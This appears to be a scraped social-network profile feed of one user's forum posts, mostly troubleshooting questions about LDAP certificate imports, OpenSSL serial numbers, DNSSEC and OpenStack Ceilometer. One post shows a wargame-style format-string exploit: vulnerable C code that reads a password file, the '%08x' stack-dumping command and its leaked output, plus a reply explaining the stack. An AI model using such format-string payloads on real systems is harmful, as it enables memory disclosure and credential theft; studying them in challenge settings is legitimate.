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HERMANN AMON
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HERMANN AMON

Questions  - 
 
http://pastebin.com/qUffw2Ej
help me please I got an error when I m executing this code 
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Hai Vu's profile photoBrendon Williams's profile photo
2 comments
 
Also, you need to give more details.
What line is the error occurring on, and what's the error? 
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HERMANN AMON

commented on a video on YouTube.
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Vous avez le soutien des Etudiants ivoiriens de l'université de Reims Champagne- Ardennes 
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HERMANN AMON
owner

Discussion  - 
 
Veuillez prendre connaissance de la charte de cette communauté avant toutes discussions ou postes 
Cordialement 
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HERMANN AMON

SSL Certificates  - 
 
Please , I get this error when I'm trying to add a new CRL and a new Root certificat for my CA in Ldap . I use this command
#ldapadd -x -D "cn=manager,dc=helios,dc=fr" -W -f /root/Desktop/record.ldif

ldapadd: invalid format (line 10) entry: "cn=rootca,ou=HELIOS,dc=helios,dc=fr"
 



version: 1
dn: cn=rootca,ou=HELIOS,dc=helios,dc=fr
description: Certificate Authority certificate and revocation list
objectClass: certificationAuthority
objectClass: rootca_helios
objectClass: applicationProcess
ou: HELIOS
cn: rootca
cACertificate;binary::file:///etc/openldap/cacerts/HELIOS/ROOT-CA-HELIOS-CERTIFICATE/ROOT-CA-HELIOS.der 
certificateRevocationList;binary:< file:///etc/openldap/cacerts/HELIOS/crl/CA-HELIOS.der
authorityRevocationList;binary:< file:///etc/openldap/cacerts/HELIOS/crl/CA-HELIOS.der

I don't know what is the problem please help me 
thanks
3
Jim A's profile photo
Jim A
 
Please check the following file on more time..!
ROOT-CA-HELIOS-CERTIFICATE/ROOT-CA-HELIOS.der
and try it one more time 
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HERMANN AMON

Security  - 
 
hiiiii I got this error when I'm Signing a  Server Certificat With OpenSSL 

Signature ok
The Subject's Distinguished Name is as follows
countryName           :PRINTABLE:'FR'
stateOrProvinceName   :PRINTABLE:'NORD PAS DE CALAIS'
localityName          :PRINTABLE:'Valenciennes'
organizationName      :PRINTABLE:'HELIOS'
organizationalUnitName:PRINTABLE:'PKI'
commonName            :PRINTABLE:'ldap.helios'

ERROR:Serial number 01 has already been issued,

check the database/serial_file for corruption
The matching entry has the following details
Type  :Valid
Expires on    :230421223711Z
Serial Number :01
File name     :unknown
 Can you help me ?
1
Merlin Davis's profile photo
 
Try the "-set_serial", "-CAserial", and "-CAcreateserial" options.  You should be able to find them under "man x509".  Also see the documentation under "man ca".  IIRC the serial number is mainly used for revocation.
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HERMANN AMON

Security  - 
 
how can I verify that My DNS is properly secure , I'm Using DnsSec on centos 5.5
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HERMANN AMON

Discussion  - 
 
Hi !! I need a help , I have finished configuring Ceilometer on Openstack havana , But the host IP  Fied and the Service status are blank
Sorry For my English I'm French 
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Walid Largou's profile photoJulien De Freitas's profile photoLéonard TAVAE's profile photoHERMANN AMON's profile photo
6 comments
 
c'est bon j'ai vu mon erreur par contre je n'arrive pas a accéder a ceilometer via le dashbord
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Hello do you have somme exam of thé new ccna routing ans switching ?
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Hi guys I'have exploited a vulnerability based on Format String from this C source code 

#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[]){
FILE *secret = fopen("/challenge/binary/binary5/.passwd", "rt");
char buffer[32];
fgets(buffer, sizeof(buffer), secret);
printf(argv[1]);
fclose(secret);
return 0;
}
I'have got an ouput after executing this command on backtrack based on this source code 
./codeSc `python -c "print '.%08x'*100"`  
Output :  bfa46878.39617044.28293664.6d617045.bf000a64.08048364
I don't know how to convert this Hex in big Endian Can you help Me please ?
1
HERMANN AMON's profile photoChris McClelland's profile photo
5 comments
 
By passing lots of %08X to printf(), you're telling it to dump the contents of its stack-frame to stdout.

You should read this, and learn it in as much detail as you can cope with (try running various simple programs in your debugger, particularly functions calling other functions, and observe how the stack is laid out):

http://en.wikipedia.org/wiki/Call_stack

The stack expands downwards (addresses decreasing), so if you dump it to stdout, you'll see the arguments, saved registers, return-addresses and local variables for all enclosing stack-frames, all the way up to main().

Of course, anyone stupid enough to do printf(argv[1]) deserves everything they get!

:-)
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HERMANN AMON

Your Suggestions  - 
 
Please , I get this error when I'm trying to add a new CRL and a new Root certificat for my CA in Ldap . I use this command
#ldapadd -x -D "cn=manager,dc=helios,dc=fr" -W -f /root/Desktop/record.ldif

ldapadd: invalid format (line 10) entry: "cn=rootca,ou=HELIOS,dc=helios,dc=fr"
 



version: 1
dn: cn=rootca,ou=HELIOS,dc=helios,dc=fr
description: Certificate Authority certificate and revocation list
objectClass: certificationAuthority
objectClass: rootca_helios
objectClass: applicationProcess
ou: HELIOS
cn: rootca
cACertificate;binary::file:///etc/openldap/cacerts/HELIOS/ROOT-CA-HELIOS-CERTIFICATE/ROOT-CA-HELIOS.der 
certificateRevocationList;binary:< file:///etc/openldap/cacerts/HELIOS/crl/CA-HELIOS.der
authorityRevocationList;binary:< file:///etc/openldap/cacerts/HELIOS/crl/CA-HELIOS.der

I don't know what is the problem please help me 
thanks
1
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HERMANN AMON

Help Needed  - 
 
Please , I get this error when I'm trying to add a new CRL and a new Root certificat for my CA in Ldap . I use this command
#ldapadd -x -D "cn=manager,dc=helios,dc=fr" -W -f /root/Desktop/record.ldif

ldapadd: invalid format (line 10) entry: "cn=rootca,ou=HELIOS,dc=helios,dc=fr"
 



version: 1
dn: cn=rootca,ou=HELIOS,dc=helios,dc=fr
description: Certificate Authority certificate and revocation list
objectClass: certificationAuthority
objectClass: rootca_helios
objectClass: applicationProcess
ou: HELIOS
cn: rootca
cACertificate;binary::file:///etc/openldap/cacerts/HELIOS/ROOT-CA-HELIOS-CERTIFICATE/ROOT-CA-HELIOS.der 
certificateRevocationList;binary:< file:///etc/openldap/cacerts/HELIOS/crl/CA-HELIOS.der
authorityRevocationList;binary:< file:///etc/openldap/cacerts/HELIOS/crl/CA-HELIOS.der

I don't know what is the problem please help me 
thanks
1
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HERMANN AMON

Discussion  - 
 
hiiiii I got this error when I'm Signing a  Server Certificat With OpenSSL 

Signature ok
The Subject's Distinguished Name is as follows
countryName           :PRINTABLE:'FR'
stateOrProvinceName   :PRINTABLE:'NORD PAS DE CALAIS'
localityName          :PRINTABLE:'Valenciennes'
organizationName      :PRINTABLE:'HELIOS'
organizationalUnitName:PRINTABLE:'PKI'
commonName            :PRINTABLE:'ldap.helios'
ERROR:Serial number 01 has already been issued,
      check the database/serial_file for corruption
The matching entry has the following details
Type  :Valid
Expires on    :230421223711Z
Serial Number :01
File name     :unknown
1
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